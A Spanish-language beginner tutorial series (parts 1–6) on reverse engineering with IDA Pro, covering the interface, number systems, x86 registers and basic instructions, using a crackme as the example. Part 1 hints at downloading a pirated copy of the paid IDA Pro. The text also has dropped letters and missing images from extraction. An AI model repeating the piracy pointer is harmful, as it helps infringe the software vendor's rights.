Reversing Con IDA Pro Desde Cero
Reversing Con IDA Pro Desde Cero
Reversing Con IDA Pro Desde Cero
La idea de estos tutoriales es empezar desde cero o sea que muchas cosas que vimos en la
introducción a Ollydbg se verá de nuevo aquí pero en IDA tratando de llegar más lejos desde
el mismo inicio.
Si alguien ve que se le complica lo que lee, quizás sea conveniente leer primero la serie de
tutoriales de CRACKING DESDE CERO CON OLLYDBG que son un poco más sencillos.
Por lo tanto aquí habrá de todo reversing estático y dinámico, cracking, exploit, unpacking
trataremos de abarcar lo más posible empezando desde cero.
LO PRIMERO ES LO PRIMERO
Lo primero es obtener el IDA PRO el problema es que es un programa pago y no podríamos
obtenerlo sin pagar unos buenos pesos que lo vale.
No podemos distribuirlo pero buscando en google IDA PRO 6.8 + HEXRAYS que es la
versión que trabajaremos y es la última que esta disponible, podrán bajarlo sin problemas.
Allí vemos los archivos que contiene el zip que bajamos, está el instalador que se llama
idapronw_hexarmw_hexx64w_hexx86w_150413_cb5d8b3937caf856aaae750455d2b4ae y
pide al instalar un password que esta en el archivo install_pass.txt.
También al instalar IDA nos instalará Python 2.7.6. Conviene para no tener problemas usar la
versión de Python incluida en IDA y previo a la instalación de IDA desinstalar otros Python
que haya en la máquina instalados previamente para no conflictuar.
Una vez instalado podemos usarlo por primera vez. y como siempre abriremos como en todo
curso que se precie, el crackme de Cruehead que estará adjuntado junto con el tutorial.
Como es un ejecutable de 32 bits, lo abrimos con la versión de IDA para 32 bits que se
arranca con ese acceso directo.
Si lo corriéramos fuera de IDA vemos en el task manager de Windows que es un proceso de
32 bits, si queremos ver si es de 32 o 64 bits sin correrlo, con un editor hexadecimal como por
ejemplo.
https://mh-nexus.de/en/downloads.php?product=HxD
http://mh-nexus.de/downloads/HxDSetupES.zip
Una forma rápida al abrir un archivo en un editor hexa para saber si es de 32 bits o de 64 a
simple vista es esta.
Este es uno de 64 bits nativo es el Snipping tool incluido en las nuevas versiones de Windows
(Recortes en la versión en español) y vemos que después de la palabra PE tiene
PE..d†
Así que ya sabemos que lo debemos abrir con la versión de 32 bits de IDA, usando el acceso
directo antes mencionado, cuando nos aparece la ventana de IDA QUICK START elegimos
NEW para abrir un archivo nuevo, buscamos el crackme lo abrimos.
Por ahora dejamos todo así como esta ya que detecta que es un ejecutable PE
correctamente y damos OK.
Si aceptamos con YES el modo PROXIMITY VIEW veremos un pantallazo de un árbol de las
funciones del programa
Para cambiar a modo gráfico o a un listado de instrucciones no gráfico podremos hacerlo
alternando con la barra espaciadora.
Una de las posibles confusiones o molestias al usar IDA hasta que uno se acostumbra es que
hay partes del grafo donde hay varias menciones a una misma dirección como por ejemplo en
el inicio de una función la dirección se repite varias veces, eso ocurre porque hay mucha
información de esa dirección y no queda bien en una sola línea o no entra.
Igual cuando ya llegamos a la última vez que se repite la misma direccion, ahí encontramos el
inicio del listado desensamblado en este caso la instrucción correspondiente a 401000 es el
PUSH 0.
IDA tiene la posibilidad de tunear la interface por default separadamente para el LOADER y
para el DEBUGGER.
Una vez que acomodamos por ejemplo en el LOADER las ventanas y pestañas que más
usamos a nuestro gusto yendo a WINDOWS-SAVE DESKTOP y poniendo la tilde en default
guardará la configuración por DEFAULT, lo mismo podremos hacer cuando arranquemos en
modo debugger y cambiar a una configuración por default distinta a la del LOADER.
En cualquiera de las pestañas del IDA donde haya listas como por ejemplo FUNCTIONS,
STRINGS, NAMES etc
Podremos buscar con CTRL mas F se nos abrirá un buscador que filtra según lo que
vayamos tipeando.
En VIEW-OPEN SUBVIEW-STRINGS como en este caso, que me muestre las strings que
contienen “try”.
También si voy a VIEW-OPEN SUBVIEW-DISASSEMBLY puedo abrir una segunda ventana
de desensamblado que puede mostrar una función diferente a la primera y así poder tener
muchas funciones a la vista a la vez.
Tengo también en OPEN SUBVIEW en el LOADER una pestaña de vista hexadecimal o HEX
DUMP.
La barra de navegación superior muestra con diferentes colores las distintas partes de un
ejecutable.
Justo debajo nos aclara qué significa cada color por ejemplo el gris es la sección data y si
clickeo en la barra en esa parte gris, el gráfico se mueve a dicha sección cuyas direcciones
están en gris. En la imagen vemos que la parte rosada corresponde a externa symbol o la
sección idata y la parte azul son las que detectó como funciones en la sección de código.
Hemos dado un primer pantallazo a vuelo de pájaro en esta parte 1 por supuesto en las
siguientes iremos poco a poco profundizando.
Hasta la parte 2
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 2
Como este es un curso desde cero hay cosas que al inicio muchos ya sabrán, podrán saltearlas si
quieren, pero para la mayoría que no lo saben, será creo yo importante y por eso las agregamos.
SISTEMA NUMERICO
Los tres sistemas numéricos que más se utlizan son el binario el decimal y el hexadecimal.
BINARIO: Se representa los números con dos caracteres el 0 y 1 por eso se llama BINARIO.
DECIMAL: Se representa todos los números con 10 caracteres (del 0 al 9) por eso se llama decimal.
HEXADECIMAL: Se representa todos los números con caracteres del 0 al F (del 0 al 9, mas A, B, C, D, E y F, o
sea serian 16 caracteres en total).
Vemos en la IDA en la parte inferior una barra para ejecutar comandos de PYTHON esto nos servirá para
poder pasar de uno a otro fácilmente.
Si no le aparece la barra de Python, desinstalar IDA, desinstalar Python y volver a instalar IDA y el Python
que trae incluido.
Si tpeo por ejemplo 0x4 lo interpreta al tener el 0x delante como un numero hexadecimal, podremos
convertr de hexadecimal a decimal solo apretando ENTER.
Al apretar
O sea como resumen cualquier numero escrito directamente al apretar ENTER se mostrara el
resultado en decimal, para pasarlo a HEXA o BINARIO deberemos usar las funciones de Python
hex() o bin().
Para manejarnos en la conversión también IDA posee una calculadora integrada para convertr, en VIEW-
CALCULATOR con lo cual podremos ver un número convertdo a todos los sistemas numéricos a la vez,
además de si corresponde el valor a algún carácter ascII, como en este caso 0x4 es la E.
NUMEROS NEGATIVOS en HEXADECIMAL
Ahora en casi todo momento trabajaremos en hexadecimal, pero la pregunta es cómo se representa un
numero hexadecimal negatvo en 32 bits?
Si en un número binario de 32 bits usamos el primer bit para signifcar si es cero que es positvo y si es uno
que es negatvo.
Vemos que un valor como por ejemplo -0x4 en hexadecimal se puede representar como 0x b y que su
primer byte en binario es 1.
De esta forma el mínimo valor positvo obviamente es cero (aunque cero no es positvo ni negatvo jeje)
pero cuál sería el mayor valor positvo que podemos representar?
Vemos que en binario,si llenamos todo con 1 menos el primer bit que usamos para el signo, el 0x7 f es el
máximo positvo si consideramos el signo, además al sumarle uno ya estando todos los otros bits a uno,
deberá cambiar el bit de signo a 1.
Si le sumamos uno
Vemos que el primer bit cambia a 1 y todos los restantes se ponen a cero.
El tema es que este evaluador considera los números como todos positvos al dar el resultado salvo que le
pasemos nosotros el valor negatvo, por ejemplo.
Vemos que el valor mínimo negatvo o sea -1 corresponde a 0xFFFFFFFF y el valor máximo negatvo será
0x80000000.
O sea que cuando en una operación no se considere el signo entonces los valores serán todos positvos
desde 0 hasta 0xFFFFFFFF.
Mientras que si una operación considera el signo tendremos los positvos desde 0x0 a 0x7FFFFFFF y los
negatvos desde 0xFFFFFFFF a 0x80000000.
POSITIVOS
………………………………..
………………………………..
NEGATIVOS
………………………………
………………………………
CARACTERES ASCII
Uno de los temas que debemos conocer también es la forma en que nuestro sistema escribe datos en la
pantalla, para eso asigna a cada carácter un valor hexadecimal, de forma que puede interpretar los mismos
como si fueran letras, números símbolos etc.
Vemos a contnuación en la primera columna el valor decimal, en la segunda columna el valor hexadecimal y
en la tercera el carácter o sea por ejemplo si quiero escribir un espacio, tengo que usar el 0x20 o 32 decimal,
cualquier carácter que necesitemos, sea letra o numero podemos verlo en esta tablita.
Como vimos IDA en esa calculadora que evalúa expresiones tene para mostrar los caracteres
correspondientes como vimos en el caso del 0x4 que era el carácter ascII correspondiente a E.
POSIBILIDADES DE BUSQUEDA
Vemos que en el menú esta SEARCH y si estamos en la pestaña del desensamblado o IDA-VIEW,
allí podemos ver múltples opciones de búsqueda que con muy sencillas de interpretar.
Algunas opciones que se ven en la imagen siguiente corresponden a plugins agregados a mi IDA y
no les aparecerán en la versión 6.8 sin tenerlos instalados.
NEXT CODE
Buscará la próxima instrucción que haya sido interpretada como CODIGO, si hay una parte que no es
detectada como código la salteara.
NEXT DATA
Buscará la próxima dirección donde haya detectado data o manejo de datos en cualquier sección.
Como en ese caso detecto un dword (dd) en esa dirección que no corresponde a ninguna
instrucción, obviamente si seguimos buscando buscara la siguiente data en este caso se ve debajo
la sección data si vuelvo a buscar.
Veo que para en una dirección donde a la derecha hay una referencia por lo tanto es un lugar
donde trabajara con datos.
Y así va salteando las direcciones que solo contenen ceros y no hay ninguna referencia, y nos va
mostrando donde hay datos que posiblemente el programa use.
En el primero salteara por código o data que detecto y en el segundo por las zonas no detectadas
como código o data valido.
La zona con ceros que están en 0x402000 la halla con SEARCH UNEXPLORED.
Buscará la secuencia de bytes hexadecimal que tpeemos entre los bytes del ejecutable.
Si hacemos doble click en la primera por ejemplo
Y en las opciones del IDA marcamos 6 para que nos muestre por ejemplo solo 6 bytes como
máximo correspondientes a cada instrucción.
Vemos que encontró los 90 90 que le pedimos.
Busca hasta la siguiente dirección donde encuentra algo no interpretado como función completa.
Allí hay un RET suelto no interpretado como función así que lo halla, a veces hay funciones que IDA
no logro determinar que son funciones pero son código valido.
Esas son las funciones más importantes de búsqueda que trae en el menú el IDA, por supuesto al
tener la posibilidad de manejar scripts de Python, siempre se puede crear mayores posibilidades
con algunas líneas de código.
Vemos que cada búsqueda que realizamos no se perderá pues se abre una pestaña con el
resultado y siempre quedara allí hasta que cerremos la pestaña correspondiente.
Vamos paso a paso sin apurar para que nadie se complique que hay mucho para ver.
Hasta la parte 3
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 3
EL LOADER
Ya vimos que cuando en IDA abrimos un ejecutable, el mismo se abre en el LOADER que es el
analizador estátco del mismo.
Iremos analizando sus partes y peculiaridades, mucho de lo que hemos visto hasta ahora se
aplican tanto al LOADER como al DEBUGGER, en el caso que no sea así se aclarara.
En el LOADER no hay ventana de REGISTROS, ventana de STACK ni listado de módulos que están
cargados en memoria esas son cosas que se ven al correr y debuggear el programa.
Esto para ciertos usos como el análisis de malware, exploit etc es muy útl, porque no siempre
vamos a poder acceder a alguna función que necesitemos estudiar debuggeando, mientras que en
el LOADER podemos analizar cualquiera de las funciones del programa, sepamos cómo se llega a
ella o no.
Por supuesto el análisis de las funciones merece que hablemos un poco antes de los registros y las
instrucciones, para qué sirve cada uno, porque a pesar de no estar debuggeando y no tener una
ventana de los registros con los valores de cada momento, las instrucciones los usan y
necesitamos entenderlas para poder saber qué hace un programa.
Los registros lo ayudan en ello, cuando veamos las instrucciones ASM veremos por ejemplo que no se
pueden sumar el contenido de dos posiciones de memoria directamente, el procesador tene que pasar una
de ellas a un registro y luego sumarla con la otra posición de memoria, este es un ejemplo pero por supuesto
ciertos registros tenen usos más específcos veamos.
Los registros que se usan en 32 bits son EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI y EIP (al fnal del curso habrá
una parte dedicada a 64 bits).
Registros de propósito múltiples
EAX (acumulador): El acumulador se utiliza para instrucciones tales como la división, la multiplicación
y algunas instrucciones de formato, y como registro de propósito general.
EBX (índice de base): El registro EBX puede direccionar datos de memoria y lógicamente también es
un registro de propósito general.
ECX (cuenta): El ECX es un registro de propósito general que se puede usar como contador para las
distintas instrucciones. También puede contener la dirección de desplazamiento de los datos en
memoria. Las instrucciones que usan un contador son las instrucciones de cadena repetidas, las
instrucciones de desplazamiento, rotación y LOOP/LOOPD.
EDX (datos): es un registro de propósito general que contiene parte del producto de una multiplicación
o parte del dividendo de una división. También puede direccionar datos en memoria.
EBP (apuntador de base): EBP apunta hacia una localidad de memoria, casi siempre como base de la
localización de argumentos y variables en una función, además de ser también de propósito general.
EDI (índice de destino): A menudo, EDI direcciona datos del destino o destination de las cadenas para
las instrucciones de cadena. También funciona como registro de propósito general.
ESI (índice de fuente): El registro del índice fuente o source con frecuencia direcciona datos del origen
de las cadenas para las instrucciones de cadena. Al igual que EDI, ESI también funciona como un
registro de propósito general.
Los ocho registros son el EAX (acumulador), EBX (base), ECX (contador), EDX (datos), ESP
(puntero de pila), EBP (puntero base), ESI (índice fuente) y EDI (índice destino).
También existen los registros de 16 bits y 8 bits, que son partes de los registros anteriores.
Existe entonces un registro de 16 bits para la parte baja de EAX llamado AX y dos registros de 8
bits llamados AH y AL, no existen registros especiales para la parte alta de cualquier registro.
Existen de la misma forma estos registros también para EBX (BX, BH y BL), para ECX (CX, CH y CL) y
así para casi todos los registros (ESP solo tene SP de 16 bits pero no SL de 8 bits por ejemplo)
Allí se pueden apreciar los registros como EAX EDX ECX y EBX que si tenen subregistros de 16 y 8
bits y EBP, ESI, EDI y ESP que solo tenen subregistros de 16 bits.
Ya iremos viendo los demás registros solo queda como registro auxiliar importante el EFLAGS que
según el valor que tenga enciende ags que tomaran decisiones en ciertos momentos del
programa como veremos más adelante, los segments registers direccionan a diferentes partes del
ejecutable CS=CODE, DS=DATA etc.
Otro detalle importante son los tamaños de los tpos de datos más usados
IDA maneja más tpos de datos que iremos viendo poco a poco para no complicar, lo importante
es saber de movida que BYTE es un 1 byte en la memoria, WORD son 2 bytes y DWORD 4 bytes.
INSTRUCCIONES
IDA trabaja con una sintaxis de instrucciones que no es la más sencilla del mundo ni mucho
menos, la mayoría están acostumbrados al desensamblado del OLLYDBG que es más
sencillo y descafeinado (más fácil de entender jeje), aunque da menos información como
verán.
Instrucciones de Transferencia de Datos
MOV
MOV dest,src: Copia el contenido del operando fuente (src) en el destino (dest).
Operación: dest <- src
Aquí se dan varias posibilidades podemos como primera posibilidad mover el valor de un registro a
otro, por ejemplo.
En general se puede mover desde o hacia un registro directamente solo con la salvedad de EIP que
no puede ser DESTINATION ni SOURCE de ninguna operación en forma directa, no podríamos
hacer
Eso no es válido.
MOV EAX, 1
Otra opción es mover el valor de una dirección de memoria no su contenido (estas instrucciones
que puse en las imágenes pertenecen a otro ejecutable no al CRACKME.exe no había ejemplos de
estas instrucciones en el mismo sino al VEViewer.exe que esta adjunto con este parte 3)
En ese caso cuando el valor que se va a mover es una dirección de memoria, la palabra OFFSET
adelante nos indica que debemos usar la dirección, no su contenido.
Que es una instrucción mas tpo OLLY pero que no me da ninguna información acerca del
contenido de dicha dirección, si hacemos click derecho en la dirección 46f038 podemos volver a la
instrucción original.
Y quedara como antes
Que me dice esa información extra que me da el IDA sobre dicha dirección de memoria?
Si abro la ventana HEX DUMP y busco dicha dirección veo que inicialmente hay ceros, podría saber
que es un DWORD pero eso realmente no lo sé porque depende de donde usa ese valor el
programa, lo que defne el tpo de variable.
Justo al lado dice dword_46F038 que quiere decir que el contenido de esa dirección es un DWORD
es como una aclaración de la dirección que está a la izquierda, luego está el tpo de datos dd que
es DWORD y luego el valor que contene dicha posición de memoria que es cero.
O sea IDA me está diciendo que el programa usa esa dirección para guardar un DWORD y más a la
derecha veo la referencia adonde está siendo usado ese DWORD.
Allí hay dos referencias cada echita es una y posando el mouse encima puedo ver el código,
también si apreto la X encima de la dirección veo desde donde es accedida.
La primera es cuando lee la dirección donde estábamos antes, la segunda escribe un DWORD en el
contenido de 0x46F038, por eso el IDA en la primera instrucción nos dijo que esa dirección
apuntaba a un DWORD, porque había otra referencia que accedía a ella y allí escribía un dword y
así todo cierra.
Así que el IDA en la instrucción original no solo me informaba que iba a mover la dirección tal a un
registro, sino que me decía que esa dirección contenía un DWORD, lo cual es un plus.
Así que ahí vemos que cuando se trata de direcciones numéricas, IDA marca la misma como
OFFSET y cuando vamos a buscar el contenido de la misma, como en este caso sería el cero, no usa
corchetes si es una dirección numérica.
Como vimos
Esta instrucción se vería en el OLLY con corchetes para los que están acostumbrados al uso del
mismo.
O sea que cuando una dirección tene la palabra OFFSET completa delante, se refere al valor
numérico de la dirección en sí, y cuando no lo tene se refere al contenido de dicha dirección.
Esto solo ocurre cuando nos referimos a direcciones numéricas, si trabajamos con registros
solamente.
Ahí si usa corchetes porque obviamente no sabe estátcamente que valor puede tener el registro
en ese momento, y no puede saber a qué dirección apuntara para sacar algo más de información
de allí.
Por supuesto en este caso si EDI apunta a por ejemplo 0x10000 dicha instrucción buscara el
contenido en dicha dirección de memoria y lo copiara en ECX.
Así que es vital entender que cuando IDA usa la palabra OFFSET completa delante de una
dirección, se refera al valor numérico de la misma dirección y no a su contenido hagamos un
ejemplo más.
Allí vemos que mueve a EAX el valor 0x45f4d0 ya que esta la palabra OFFSET completa delante y
me aclara que dicha dirección contene una stru_ o sea una estructura.
En este otro caso, en la primera instrucción marcada mueve el contenido de 0x46fc50 que es un
DWORD y en la de abajo mueve la dirección en si o sea el número 0x46FC50.
Podemos ver qué valor contene dicha dirección para ver que moverá en 0x42f302, si hago click en
0x46fc50 veamos que hay allí.
Vemos que moverá un cero, si es que no se ejecutó alguna otra instrucción que guarde algún valor
allí y lo modifque, como nos muestra las referencias.
Allí vemos al ver las referencias con X, que en esa instrucción guarda un DWORD
Justo en esa instrucción que está marcada en amarillo guarda un DWORD en dicha dirección de
memoria, todos los otros o bien leen la dirección con o set o bien leen el valor como las que no
tenen la palabra o set.
Por supuesto se pueden mover también contantes a los registros de 16 bits y 8 bits que vimos
antes.
Mueve a AL el valor 1 dejando el resto de EAX con el valor que tenía antes solo cambia el byte más
bajo.
Allí mueve a AX, el contenido de la dirección de memoria 0x459c24 que nos dice que es un WORD.
Y vemos que inicialmente es un cero, quizás más adelante al correr el programa se modifque.
Allí mueve AX al contenido de EBX que como es un registro y no sabe cuánto valdrá en ese
momento, no puede aclarar más y usa corchete para indicar que escribe en el contenido de EBX.
Allí igualmente escribirá en el contenido de ESI+8 el valor de AX.
Otro ejemplo
Sabemos que la IAT o sea la tabla que guarda cuando arranca el ejecutable, las direcciones de las
funciones importadas está casi siempre en la sección idata.
Si voy a ver a la vista HEX DUMP esa dirección todavía no tene el valor de la función ya que se
rellena la IAT cuando arranca y el proceso no arranco.
Si voy a OPTIONS-DEMANGLE NAMES y pongo la tlde en NAMES se ve un poco mejor.
El prefjo extrn se refere a que es una función importada EXTERNA a este ejecutable.
Si subimos vemos que nos dice que son funciones importadas de la DVCORE.dll y más arriba hay
más funciones de otras dll.
Bueno hemos visto diferentes ejemplos de MOV que pueden practcar y mirar en el IDA con el
ejecutable que adjunte.
Bye
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 4
Seguimos ojeando las instrucciones de transferencia de datos en IDA.
XCHG A, B
Ya habíamos visto que si no existe instrucción reconocida, esa zona es mostrada como data. En
este caso es solo un byte que como no hay referencias en ninguna parte del programa, no hay
aclaración a la derecha de la dirección, luego el tpo de dato que es db, un solo byte y el valor que
es 0xc0 en este caso.
Así que si escribimos la instrucción NOP que es NO OPERATION o sea una instrucción de relleno
que no hace nada, para que reemplace ese 0xc0.
Todo muy lindo pero se me rompió la función. Si hay partes no reconocidas como código en el
medio no la creara, pero ahora que quedo bien el código poniendo el NOP, intentamos haciendo
click derecho en donde era el inicio de la función o sea 0x4013d8 y allí elegimos CREATE
FUNCTION.
Y cambia el prefjo loc_ que delante de una dirección nos aclara que es una instrucción común, por
el prefjo sub_ que nos informa que dicha instrucción es el inicio de una subrutna o función.
Ahora que ya es una función, si no está en modo grafco apretamos la barra espaciadora.
Ahí quedo más lindo y con nuestro XCHG allí puesto.
Bueno ya vimos que por ejemplo si EAX vale 12345678 y ESI vale 55 al ejecutar el XCHG nos
quedara EAX valiendo 55 y ESI 12345678 en este ejemplo.
Como comentario vemos que en el menú PATCH hay un ítem llamado PATCHED BYTES que nos
muestra lo que cambio y se puede REVERTEAR al original.
XCHG también puede intercambiar entre en registro y el contenido de un registro que apunte a
una posición de memoria.
En este caso buscara el contenido apuntado por ESI y lo intercambiara por el valor de EAX que se
guardara en dicha posición de memoria si tene permiso de escritura.
Se fjara que hay en la posición de memoria 0x10000 y si es escribible, guardara allí el 55 y leerá el
valor que había y lo pondrá en EAX.
Qué pasa si hacemos lo mismo pero en vez de usar un registro usamos una dirección de memoria
numérica tal como hicimos en el MOV?
h ps://github.com/keystone-engine/keypatch
h ps://drive.google.com/fle/d/0B13TW0I0f8O2eU1VdUzzVjdYTWs/vie??uspssharing
Allí en el segundo link está el archivo keypatch.py que se debe copiar en la carpeta plugins del IDA
y el instalador keystone-0.9.1-python-?in32.msi que se debe instalar.
h ps://???.microso .com/en-gb/do?nload/details.aspx?ids40784
h p://???.keystone-engine.org/keypatch/
Vemos que escribiendo la instrucción en la forma más sencilla y con corchetes la escribirá y la
transformara a la sintaxis del IDA.
Y quedo
Tal como en el MOV cuando muestra el prefjo d?ord_ sin o set delante signifca que intercambia
el contenido de 0x4020dc por el valor de EAX .
INSTRUCCIONES ESPECIFICAS DE TRANSFERENCIA RELATIVAS AL STACK O PILA
Una pila (stack en inglés) es una sección de la memoria en la que el modo de acceso
es último en entrar, primero en salir. Permite almacenar y recuperar datos.
Para el manejo de los datos se cuenta con dos operaciones básicas: apilar o PUSH, que
coloca un objeto en la pila, y su operación inversa, retirar o POP que retira el último elemento
apilado.
En cada momento sólo se tiene acceso a la parte superior de la pila, es decir, al último objeto
apilado. La operación POP permite la obtención de este elemento, que es retirado de la pila
permitiendo el acceso al que estaba debajo (apilado con anterioridad), que pasa a ser el
nuevo ultimo objeto apilado.
En el CRACKME.EXE vemos ejemplos de ambas instrucciones.
Normalmente en 32 bits se usa PUSH para enviar los argumentos de una función al stack, antes de
llamarla con un CALL, vemos allí arriba ese ejemplo en 0x40104f.
PUSH 64 coloca el d?ord 64 en la parte superior del stack, luego PUSH EAX coloca encima del
anterior el valor de EAX dejando debajo al anterior guardado y pasando este últmo a ser el tope
del stack.
0x64
Allí vemos diferentes tpos de PUSH, podemos pushear constantes, pero también podemos
pushear direcciones de memoria, como en este caso.
Vemos la palabra OFFSET delante del TAG correspondiente a una string, allí lo que pushearia sería
la dirección cuyo contenido es una string o array de caracteres.
Vemos que en este caso utliza dos líneas para la descripción de la variable.
Vemos que podemos hacer que deje de detectar que es un array de caracteres y quede como db o
byte.
Vemos que en la referencia donde está la instrucción original cambio, obviamente la palabra o set
delante hace que se siga pusheando el valor 0x4020E7 pero ahora como el contenido dejo de ser
un array de caracteres y paso a ser un byte, la instrucción cambio a
Ya que cuando busca el contenido de 0x4020e7 para informarnos que es, allí hay un db o sea es
una variable cambiada por nosotros a una de un solo byte.
Apretando la A que es string ASCII vuelve a mostrarse como antes.
Allí en 0x402110 comienza el primer byte de la misma se puede descomponer para verlos
apretando D en aMenu.
Vemos que allí guarda la dirección 0x402110 la ya que pone OFFSET delante.
Normalmente cuando se les pasan argumentos a funciones veremos siempre el PUSH ofset xxxxx
ya que lo que se busca es pasar la dirección donde está la string si no tuviera la palabra o set
estaríamos pusheando el contenido de la dirección 0x402110 que son los bytes 55 4e 45 4d de la
misma string y las apis no trabajan de esa forma siempre se les pasa el puntero al inicio o dirección
donde se inicia la string.
En el caso en esta instrucción que vemos arriba el prefjo DS:TAG indica que va a guardar en una
dirección de memoria de la sección data (DSsDATA), más adelante cuando veamos estructuras
veremos ese caso por ahora lo que importa es que guarda en la sección DATA en una dirección de
la misma, la dirección que apunta al inicio de la string
POP
Es la operación que lee el valor superior del stack y lo mueve al registro destno en este caso
vemos POP EDI leerá el primer valor o TOP del stack y lo copiara a EDI y luego apuntará ESP al
valor que estaba debajo para que pase a ser el TOP del stack.
Si hacemos una búsqueda de texto de la palabra POP vemos que no se utlizan muchas variantes a
pesar de que existe la posibilidad de POPEAR a una dirección de memoria en vez de a un registro,
esta opción no es muy usada.
Seguiremos en la parte 5 con más instrucciones para poder meternos en el funcionamiento del
LOADER.
BYE
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
5
Seguiremos viendo las instrucciones principales y los usos en el código lógicamente cuando lleguemos a
la parte del debugger veremos más ejemplos donde se ven los resultados de aplicar cada una de ellas en
un contexto real.
LEA A,B
Normalmente en las funciones detectadas por IDA existen argumentos que se le pasan a la misma, la
mayor parte de las veces con la instrucción PUSH antes de llamar a la función.
Como vimos PUSH guardaba esos valores en el stack dichos valores son llamados argumentos.
Como vemos en la lista de variables y argumentos que hay en el encabe ado de cada función, esta ene
un solo argumento en el stack pues en la lista solo hay un arg en este caso el arg_0.
Vemos también que la función ene variables locales para las cuales reserva un espacio en el stack
arriba de los argumentos, esos son los var_xx.
Ya explicaremos más adelante la ubicación exacta de los argumentos y variables en el stack por ahora
solo importa que cada argumento o variable que usa una función tendrá una dirección donde esta
ubicada y un valor tal cual cualquier variable en cualquier parte de la memoria.
Por lo tanto, en esta imagen vemos que cuando el programa en 0x401191 u li a una instrucción LEA, lo
que hace es mover la dirección del stack donde esta ubicada dicha variable a diferencia de si usara un
MOV que moversa el contenido o valor guardado en dicha variable.
O sea que LEA a pesar de usar un corchete solo mueve la dirección sin acceder al contenido de la misma
porque en el fondo solo resuelve las operaciones dentro del corchete sin acceder al contenido y como
EBP normalmente se usa como base de las variables y argumentos del stack en cada función, lo que hace
realmente es sumarle o restarle una constante al valor de EBP que apunta a una dirección del stack
tomada como base para dicha función.
Si hacemos clic derecho en esa variable vemos que la forma puramente matemá ca de escribirla a la
cual se puede cambiar usando la tecla Q es [EBP-0C]
Por eso el LEA lo que hace realmente es resolver esa operación EBP -0C ya que EBP ene una dirección
del stack que será la base en esta función, restándole 0c obtengo la dirección de dicha variable.
Muchos se preguntan en este punto si no es más sencillo que IDA u lice la notación matemá ca pura
para las variables y argumentos, en ve de EBP más o menos un tag.
El tema es que para el reversing es muy importante poder renombrar las variables y argumentos con
nombres que le pongamos nosotros interac vamente a medida que nos vamos dando cuenta que rol
cumple cada una y el nombre me servirá para orientarme.
No es lo mismo una variable que se llame EBP - 0C que yo la pueda renombrar a EBP + SIZE, si me doy
cuenta por ejemplo de que alls guarda un si e o sea un tamaño (se renombra usando la tecla N prueben)
de ul ma si necesito la expresión matemá ca pura la puedo consultar haciendo click derecho.
Por eso también LEA se usa para resolver operaciones que están dentro del corchete lo cual mueve
luego al registro de des no el resultado, sin acceder al contenido del mismo.
P EJ:
Y por eso
Mueve el resultado de EBP - 0C que es la dirección de memoria de la variable que se ob ene al resolver
EBP - 0C y la mueve a EAX.
Además de resolver EBP - 0C y obtener la misma dirección busca el contenido de la misma o sea el valor
guardado en dicha variable y lo mueve a EAX.
Es muy importante que nos demos cuenta la diferencia del LEA y el MOV y como se termina u li ando el
primero para obtener direcciones de variables y el segundo para obtener los valores guardados en la
misma.
Vemos en el resultado de la búsqueda del texto LEA en el VEWIEVER que la mayor parte de las veces se
usa para obtener direcciones de variables o argumentos del stack. (Las que enen EBP más algo son
mayorsa)
El resto son operaciones combinadas entre registros y constantes cuyo resultado se mueve al primer
operando que pueden dar resultados numéricos o alguna dirección también dependiendo del valor de
los registros.
Al momento de resolver la operación si ESI vale por ejemplo 400000 y EAX vale 2 se moverá a EDX el
resultado de .
0x400000 + 2 *4+0x14
Hasta la parte 6.
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
6
Sigamos con las instrucciones aritmétcas llgicas.
ADD A,B
A puede ser un registro o el contenido de una posiciln de memoria, B puede ser registro, una constante
o el contenido de una posiciln de memoria (no se permite que A B a la vez sean contenidos de
posiciones de memoria en la misma instrucciln)
Ahí vemos muchos ejemplos de sumas donde el primer miembro es un registro el segundo una
constante, como sabemos se sumará al valor que tene el registro en ese momento, el valor de la
constante se guardara en el registro.
En este ejemplo si ECX vale 10000 se le suma la constante 4 el resultado 10004 se guarda en el mismo
ECX.
En este caso sumara 0xFFFFFFFF al valor que tenga previamente el contenido de la direcciln a la que
apunta ECX +30 siempre que dicha direcciln tenga permiso de escritura, hará la suma guardara el
resultado allí.
Si ECX por ejemplo valiera 0x10000, en 0x10030 si el contenido fuera el valor 1 a eso se le suma
0xFFFFFFFF que es -1 por lo tanto el resultado sería cero se guardara en 0x10030.
ADD AX,8
ADD BX,AX
Donde sumara al b te del contenido que apunta EAX el valor 7 lo guardara en el mismo lugar.
Y todas las combinaciones posibles de sumas entre registros, contenidos de posiciones de memoria
constantes, como vimos todas las combinaciones son válidas, salvo que A sea una constante que
ambos sean contenidos de direcciones de memoria a la vez en la misma instrucciln.
SUB A,B
Es exactamente igual a ADD salvo que en vez de realizar la operaciln suma en este caso restara enteros
guardara el resultado en A, las combinaciones posibles son las mismas.
INC A y DEC A
IMUL
IMUL A,B
IMUL A,B,C
En ambos casos A solo puede ser un registro B puede ser un registro o el contenido de una posiciln de
memoria C solo puede ser una constante.
Vemos que ha solo ejemplos de la primera forma, en ambos casos multplicara en forma entera ambos
miembros guardara en el primer miembro el resultado.
IMUL EAX,EDI,25
En este caso A marca solo el DIVISOR de la operaciln tanto el dividendo como el cociente no se
especi can porque son siempre el mismo.
Lo que hace esta operaciln es armar un número más grande de 64 bits con los registros EDX como parte
alta EAX como parte baja dividir eso por A guardarlo el resultado en EAX el resto en EDX.
Si EAX por ejemplo vale 5, EDX vale cero ECX vale 2 hará
la divisiln entera, el resultado de 5 dividido 2 será 2 se
guardara en EAX el resto 1 en EDX.
OPERACIONES LOGICAS
AND, OR o XOR
AND A,B
Realizara un AND entre ambos valores guardara el resultado en A, lo mismo pasa con OR o XOR cada
uno tene sus tabla de verdad, se aplicara en cada miembro el resultado se guardara en A.
A Y B pueden ser registros o contenidos de direcciones de memoria, pero es ilegal que ambos sean
contenidos de memoria a la vez en la misma instrucciln.
Los casos más usados son XOR de un mismo registro para ponerlo a cero fácilmente.
XOR EAX,EAX por ejemplo cualquiera sea el valor de EAX lo pondrá a cero a que la tabla de verdad de
XOR es.
En este caso el resultado es la últma columna vemos que si XOREAMOS un numero contra si mismo
